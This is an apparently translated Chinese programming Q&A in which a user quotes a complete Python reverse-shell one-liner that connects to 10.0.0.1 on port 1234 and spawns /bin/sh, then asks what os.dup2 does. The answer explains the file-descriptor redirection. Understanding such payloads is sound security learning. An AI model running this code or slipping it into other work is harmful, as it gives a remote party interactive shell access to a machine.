import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
我知道这会创建一个连接到端口 1234 上的 10.0.0.1 的 TCP 套接字。不过我有一个问题。
os.dup2() 在这种情况下做了什么?我知道它们与文件描述符有关,0 是 STDIN,1 是 STDOUT 和 2 是 STDERR,但我不知道它在这里做什么。
请您参考如下方法:
它以一种为子进程保留的方式将套接字重定向到/从 stdin/stdout/stderr。即,当代码执行 /bin/sh 时,shell 会继承重定向并通过套接字与远程用户通信(甚至不知道它)。
参见 os docs .
